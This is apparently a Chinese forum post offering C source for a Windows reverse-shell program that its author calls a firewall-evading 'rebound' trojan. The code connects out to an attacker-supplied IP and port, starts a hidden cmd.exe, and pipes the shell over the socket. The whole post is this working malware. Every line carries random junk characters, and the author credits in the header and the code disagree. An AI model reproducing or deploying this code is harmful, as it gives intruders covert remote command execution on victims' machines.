这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5mJ JU
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/* ============================== :*ing
Rebound port in Windows NT 0y
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By wind,2006/7 Y?
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===============================*/ xIxn"^'
#include sm0x LZ
#include 5b!vgm#])
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#pragma comment(lib,"wsock32.lib") uJFdbBDSh
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void OutputShell(); yRSTk2N@
SOCKET sClient; biSz?DJ>
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D2](da:]8)
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void main(int argc,char **argv) g#F?!i-[F
{ 2"Ecd
WSADATA stWsaData; @6{~05.p
int nRet; b%<9Sn
SOCKADDR_IN stSaiClient,stSaiServer; D B-l$rj
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if(argc != 3) B8B; y^b>i
{ -R57@D>j\
printf("Useage:\n\rRebound DestIP DestPort\n"); G?EoPh^m
return; iz8Bf;
} ~i~7na|
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WSAStartup(MAKEWORD(2,2),&stWsaData); \^ZlG.
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4a'N>eDR
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stSaiClient.sin_family = AF_INET; V,q](bg
stSaiClient.sin_port = htons(0); Pa{%\dsv
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); BFL`!^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) pQshUm"_
{ <\NY<QIwFw
printf("Bind Socket Failed!\n"); B$b +Ymu
return; in~D
} 'NX```U0
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stSaiServer.sin_family = AF_INET; /LO-HnJ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); a^`rtvT
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o$w_Es]Ma
{ ~~v3p>z Rr
printf("Connect Error!"); ?Lyxw]
return; p?B=1vn-2
} 2Ou[u#H
OutputShell(); >sWp?
} 'yL%3h
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void OutputShell() H-~6Z",1
{ Z?%zgqTXb
char szBuff[1024]; `&D|>tiz
SECURITY_ATTRIBUTES stSecurityAttributes; (vb
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OSVERSIONINFO stOsversionInfo; }oL'8-y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~ ip,Nl
STARTUPINFO stStartupInfo; QV{}K
char *szShell; B?4boF?~
PROCESS_INFORMATION stProcessInformation; xL{a
unsigned long lBytesRead; >N]7IU[-
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); x n5l0'2
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); AQ_|:
stSecurityAttributes.lpSecurityDescriptor = 0; 73xAG1D$r
stSecurityAttributes.bInheritHandle = TRUE; +tVaBhd!
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qMLD)rL
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); dR"@`
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); '=Rs/EDME
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z"0I>gl
stStartupInfo.wShowWindow = SW_HIDE; 8Le||)y,\
stStartupInfo.hStdInput = hReadPipe; (>r[-Bft
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Cq%IE^g<
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GetVersionEx(&stOsversionInfo); D|Q#gcWp o
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switch(stOsversionInfo.dwPlatformId) 3wC' r
{ :.$3vaZ@
case 1: }[4r4 1[
szShell = "command.com"; ~g5[$r-u-u
break; 8=gjY\Dp
default: M+w=O!dq
szShell = "cmd.exe"; d4?Mi2/jF
break; H[S%J3JI
} qYlhlHD
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); k}
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send(sClient,szMsg,77,0); %`&2+\`
while(1) ,M^ P!
{ l]8D7(g
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @JyK|.b#0
if(lBytesRead) vSi.txV2
{ v"#mzd.tW
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); X22[tqg;&
send(sClient,szBuff,lBytesRead,0); k + H3Bq
} B2C$N0R#
else JV]^zW
{ OH">b6>\
lBytesRead=recv(sClient,szBuff,1024,0); ?XA2&
if(lBytesRead<=0) break; w+1|9Y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]Bjyi[#bg
} bdQ_?S(
} d`
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return; m<j8cJ(
}